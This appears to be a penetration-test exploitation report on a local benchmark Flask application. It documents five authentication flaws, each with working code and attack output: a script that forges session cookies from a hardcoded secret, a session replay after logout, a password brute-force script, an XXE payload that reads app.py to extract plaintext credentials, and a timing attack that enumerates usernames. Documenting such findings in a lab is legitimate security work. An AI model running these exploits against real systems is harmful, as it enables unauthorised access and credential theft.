# Authentication Exploitation Evidence

## Successfully Exploited Vulnerabilities

### AUTH-VULN-06: Session Forgery via Weak Secret Key

**Summary:**
- **Vulnerable location:** POST /login authentication mechanism (app.py:7 - hardcoded secret key)
- **Overview:** The Flask application uses a weak, hardcoded secret key ('your_secret_key') to sign session cookies, enabling attackers to forge arbitrary session cookies and bypass authentication without valid credentials.
- **Impact:** Complete authentication bypass - attacker can impersonate any user without knowing their password, gaining full access to protected resources including the dashboard and SOAP service endpoints.
- **Severity:** Critical

**Prerequisites:**
- Knowledge of the weak secret key 'your_secret_key' (discoverable through source code disclosure, dictionary attack, or public repositories)
- Python with itsdangerous library

**Exploitation Steps:**

1. Install required Python library:
```bash
pip install itsdangerous Flask
```

2. Create a Python script to forge a Flask session cookie:
```python
from flask import Flask
from flask.sessions import SecureCookieSessionInterface

app = Flask(__name__)
app.secret_key = 'your_secret_key'

session_interface = SecureCookieSessionInterface()
session_data = {'username': 'john'}

serializer = session_interface.get_signing_serializer(app)
forged_cookie = serializer.dumps(session_data)

print(f"Forged Cookie: {forged_cookie}")
```

3. Run the script to generate a forged session cookie:
```bash
python3 forge_session.py
```

Example output: `eyJ1c2VybmFtZSI6ImpvaG4ifQ.aQAdfQ.dT4yxA1oh0zCzNiHH0OpOHMQlBA`

4. Use the forged cookie to access protected resources:
```bash
curl http://localhost:39111/dashboard \
  -H "Cookie: session=eyJ1c2VybmFtZSI6ImpvaG4ifQ.aQAdfQ.dT4yxA1oh0zCzNiHH0OpOHMQlBA"
```

5. Verify successful authentication bypass by checking the response:
```
HTTP/1.1 200 OK
Content-Type: text/html

<!DOCTYPE html>
<html>
<head>
    <title>Dashboard</title>
...
<h2>Welcome, john</h2>
```

**Proof of Impact:**
Successfully accessed the protected /dashboard endpoint without providing valid credentials. The forged session cookie was accepted by the server, granting full authenticated access as user 'john'. The response shows "Welcome, john" and loads the dashboard interface with access to SOAP service operations.

**Complete Exploit Script:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-032-24/test_flask_session.py`

---

### AUTH-VULN-04: Post-Logout Session Persistence

**Summary:**
- **Vulnerable location:** GET /logout endpoint (app.py:199 - session.pop only)
- **Overview:** The logout function only removes the 'username' key from the session without server-side invalidation. Since Flask uses client-side signed cookies with no server-side session store, previously-issued session cookies remain cryptographically valid after logout.
- **Impact:** Attackers who steal a user's session cookie (via XSS, network interception, or physical access) can continue using that cookie to access protected resources indefinitely, even after the victim logs out.
- **Severity:** High

**Prerequisites:**
- Valid session cookie obtained before logout (via session hijacking, XSS, or other means)
- Target user has logged out

**Exploitation Steps:**

1. Authenticate normally to obtain a valid session cookie:
```bash
curl -X POST http://localhost:39111/login \
  -d "username=john&password=password123" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -c /tmp/cookies.txt
```

2. Extract and save the session cookie value from the response:
```bash
SESSION_COOKIE=$(grep session /tmp/cookies.txt | awk '{print $NF}')
echo "Captured session: $SESSION_COOKIE"
```

Example: `eyJ1c2VybmFtZSI6ImpvaG4ifQ.aQAd2g.gZNtLO4H3BNW2cqM1CNdBQT80Uw`

3. Access the dashboard with the captured cookie to verify it works:
```bash
curl http://localhost:39111/dashboard \
  -H "Cookie: session=$SESSION_COOKIE"
```

Expected: HTTP 200 OK with dashboard content

4. Victim calls the logout endpoint:
```bash
curl http://localhost:39111/logout \
  -H "Cookie: session=$SESSION_COOKIE"
```

Expected: HTTP 302 redirect to /login

5. Attempt to access the dashboard again with the SAME cookie after logout:
```bash
curl http://localhost:39111/dashboard \
  -H "Cookie: session=$SESSION_COOKIE"
```

**Proof of Impact:**
The dashboard remains accessible (HTTP 200 OK) with the same session cookie even after logout was called. The response continues to display "Welcome, john" and provides full access to authenticated functionality. This proves that logout does NOT invalidate the session server-side.

Test output:
```
STEP 2: ACCESS DASHBOARD (BEFORE LOGOUT)
Status Code: 200
Body snippet: <h2>Welcome, john</h2>
✓ Dashboard access SUCCESSFUL before logout

STEP 3: LOGOUT
Status Code: 302
Logout completed

STEP 4: ACCESS DASHBOARD (AFTER LOGOUT)
Status Code: 200
Body snippet: <h2>Welcome, john</h2>

VULNERABILITY CONFIRMED!
The session cookie remains valid after logout.
```

**Complete Exploit Script:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-032-24/test_session_persistence.py`

---

### AUTH-VULN-05: Missing Rate Limiting via Brute Force Attack

**Summary:**
- **Vulnerable location:** POST /login endpoint (app.py:133-143 - no rate limiting)
- **Overview:** The login endpoint has no rate limiting, CAPTCHA, account lockout, or any abuse prevention mechanisms. Combined with the weak password "password123", this enables rapid automated credential attacks.
- **Impact:** Attackers can perform unlimited brute force attacks at ~300 attempts/second, making weak passwords trivially compromisable. No detection or prevention mechanisms exist to stop automated attacks.
- **Severity:** Critical

**Prerequisites:**
- Target username (can be enumerated via timing attacks - see AUTH-VULN-08)
- Password wordlist (common passwords, leaked credentials, etc.)

**Exploitation Steps:**

1. Create a Python script to perform rapid brute force attempts:
```python
import requests
import time

target_url = 'http://localhost:39111/login'
username = 'john'
passwords = ['password', 'admin', '123456', 'password123', 'letmein', 
             'qwerty', 'test123', 'admin123', 'welcome', 'monkey']

start_time = time.time()
attempts = 0

for password in passwords:
    attempts += 1
    response = requests.post(target_url, data={
        'username': username,
        'password': password
    })
    
    print(f"Attempt #{attempts} | Password: {password:15} | Status: {response.status_code}")
    
    if response.status_code == 302:
        print(f"[SUCCESS] Password found: {password}")
        break

elapsed = time.time() - start_time
rate = attempts / elapsed
print(f"\nTotal attempts: {attempts}")
print(f"Time taken: {elapsed:.2f}s")
print(f"Attack rate: {rate:.2f} attempts/second")
```

2. Run the brute force attack:
```bash
python3 brute_force_attack.py
```

3. Observe the results showing rapid attack execution:

**Proof of Impact:**
```
[-] Attempt # 1 | Password: password        | Status: 401 | Time: 0.009s | Result: FAILED
[-] Attempt # 2 | Password: admin           | Status: 401 | Time: 0.003s | Result: FAILED
[-] Attempt # 3 | Password: 123456          | Status: 401 | Time: 0.003s | Result: FAILED
[+] Attempt # 4 | Password: password123     | Status: 302 | Time: 0.004s | Result: SUCCESS

[!] PASSWORD FOUND: password123

[*] ATTACK SUMMARY
    Total Attempts: 10
    Total Time: 0.03 seconds
    Average Rate: 297.88 attempts/second
    Password Found: YES
    Discovered Password: password123

[*] RATE LIMITING ANALYSIS
    [!] NO rate limiting detected
    [!] Attack completed in under 5 seconds (0.03s)
    [!] High attempt rate achieved (297.88 attempts/sec)
    [!] This confirms MISSING RATE LIMITING
```

The attack successfully discovered the password "password123" in 4 attempts (0.03 seconds total). The high attack rate of ~300 attempts/second proves no defensive controls exist. At this rate, an attacker could test:
- 1,000 passwords in ~3 seconds
- 10,000 passwords in ~33 seconds
- 100,000 passwords in ~5.5 minutes

**Complete Exploit Script:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-032-24/brute_force_test.py`

---

### AUTH-VULN-07: Plaintext Password Storage via Source Code Disclosure (XXE)

**Summary:**
- **Vulnerable location:** POST /soap_service (app.py:164 - XXE vulnerability) leading to disclosure of app.py:10 (plaintext password storage)
- **Overview:** The application has two critical vulnerabilities that chain together: (1) XML External Entity (XXE) injection in the SOAP service allows reading arbitrary files, and (2) passwords are stored in plaintext in source code. An attacker can exploit XXE to read app.py and immediately obtain all user credentials.
- **Impact:** Complete credential theft - attacker extracts all plaintext passwords from source code, enabling immediate account takeover of all users without brute force attempts.
- **Severity:** Critical

**Prerequisites:**
- Valid authentication to access /soap_service endpoint
- Knowledge of application file path (/app/app.py)

**Exploitation Steps:**

1. Authenticate to obtain a valid session cookie:
```bash
SESSION=$(curl -s -X POST http://localhost:39111/login \
  -d "username=john&password=password123" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -c - | grep session | awk '{print $NF}')
```

2. Craft an XXE payload to read the application source code:
```xml
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///app/app.py">]>
<GetAccountInfoRequest>
  <account_id>&xxe;</account_id>
</GetAccountInfoRequest>
```

3. Send the XXE payload to the SOAP service:
```bash
curl -X POST http://localhost:39111/soap_service \
  -H "Cookie: session=$SESSION" \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///app/app.py">]>
<GetAccountInfoRequest>
  <account_id>&xxe;</account_id>
</GetAccountInfoRequest>' \
  > /tmp/xxe_output.xml
```

4. Extract credentials from the disclosed source code:
```bash
grep "users = {" /tmp/xxe_output.xml
```

**Proof of Impact:**
The XXE attack successfully retrieved the complete /app/app.py source code. The response contains:

```xml
<GetAccountInfoResponse>
    <account_id>from flask import Flask, request, render_template, redirect, url_for, session, jsonify
from lxml import etree
from functools import wraps
import os

app = Flask(__name__)
app.secret_key = 'your_secret_key'

# Sample user data
users = {'john': 'password123'}
...
</account_id>
    <balance>1000 USD</balance>
    <recent_transactions>Transaction1</recent_transactions>
    <recent_transactions>Transaction2</recent_transactions>
</GetAccountInfoResponse>
```

Successfully extracted credentials:
- **Username:** john
- **Password:** password123 (stored in plaintext)
- **Additional exposure:** Flask secret_key also disclosed

The attacker now has valid credentials obtained through source code disclosure, requiring no brute force or password cracking.

**Test output:**
```
[*] Step 1: Logging in to obtain session cookie...
[+] Login successful!
[+] Session cookie obtained

[*] Step 2: Crafting XXE payload to read /app/app.py...
[+] Target file: /app/app.py

[*] Step 3: Sending SOAP request with XXE payload...

[*] Step 4: Analyzing response...
[+] HTTP Status Code: 200

[*] Step 5: Extracting credentials from source code...
[+] Found hardcoded credentials:
users = {'john': 'password123'}

[+] Extracted Credentials:
    Username: john | Password: password123

[+] SUCCESS: Exploit successful!
```

**Complete Exploit Script:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-032-24/exploit_plaintext_passwords.py`

---

### AUTH-VULN-08: User Enumeration via Timing Analysis

**Summary:**
- **Vulnerable location:** POST /login endpoint (app.py:138 - non-constant-time comparison)
- **Overview:** The authentication logic uses short-circuit evaluation (`if username in users and users[username] == password`) that creates measurable timing differences between valid and invalid usernames. Statistical analysis reveals that invalid usernames can be distinguished from valid ones through response time analysis.
- **Impact:** Attackers can enumerate valid usernames without triggering failed login alerts, enabling targeted credential attacks and privacy violations. Valid username lists facilitate subsequent brute force and credential stuffing attacks.
- **Severity:** Medium

**Prerequisites:**
- Target endpoint accessible
- Ability to make multiple HTTP requests
- Statistical analysis tools (Python with scipy/numpy)

**Exploitation Steps:**

1. Create a Python script to measure timing differences:
```python
import requests
import time
import statistics

target_url = 'http://localhost:39111/login'
test_password = 'wrongpassword'
samples_per_username = 100

def measure_timing(username):
    times = []
    for _ in range(samples_per_username):
        start = time.time()
        requests.post(target_url, data={
            'username': username,
            'password': test_password
        })
        elapsed = (time.time() - start) * 1000  # Convert to ms
        times.append(elapsed)
    return times

# Test valid username
valid_username = 'john'
valid_times = measure_timing(valid_username)

# Test invalid usernames
invalid_usernames = ['alice', 'bob', 'admin', 'test', 'user']
results = {}

for username in invalid_usernames:
    results[username] = measure_timing(username)
```

2. Calculate statistics and perform t-tests:
```python
from scipy import stats

valid_mean = statistics.mean(valid_times)

for username, times in results.items():
    invalid_mean = statistics.mean(times)
    t_stat, p_value = stats.ttest_ind(valid_times, times)
    
    print(f"Username '{username}':")
    print(f"  Mean: {invalid_mean:.3f} ms")
    print(f"  Difference: {valid_mean - invalid_mean:.3f} ms")
    print(f"  P-value: {p_value:.6f}")
    print(f"  Significant: {'YES' if p_value < 0.05 else 'NO'}")
```

3. Run the timing attack:
```bash
python3 timing_attack.py
```

**Proof of Impact:**
```
Username: 'john' (VALID)
  Mean response time:   8.178 ms

Username: 'alice' (INVALID)
  Mean response time:   7.076 ms
  Difference: +1.102 ms (+15.58%)
  T-statistic: 3.624
  P-value: 0.000369
  Significant: YES (α=0.05)

[!] VULNERABILITY CONFIRMED

    The application is vulnerable to timing-based user enumeration!
    Valid username 'john' has statistically significant
    timing differences compared to invalid usernames.

    Significant differences found:
    - 'alice': +1.102 ms (+15.58%, p=0.000369)
```

The valid username 'john' shows a statistically significant timing difference (p=0.000369) compared to invalid username 'alice'. With 100 samples per username, the timing difference of +1.102ms (15.58%) is highly reliable and reproducible.

An attacker can use this technique to:
1. Test a list of potential usernames (common names, email addresses, etc.)
2. Measure average response times for each
3. Identify usernames with different timing patterns as valid accounts
4. Build a list of confirmed valid usernames for targeted attacks

**Complete Exploit Script:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-032-24/timing_attack.py`

---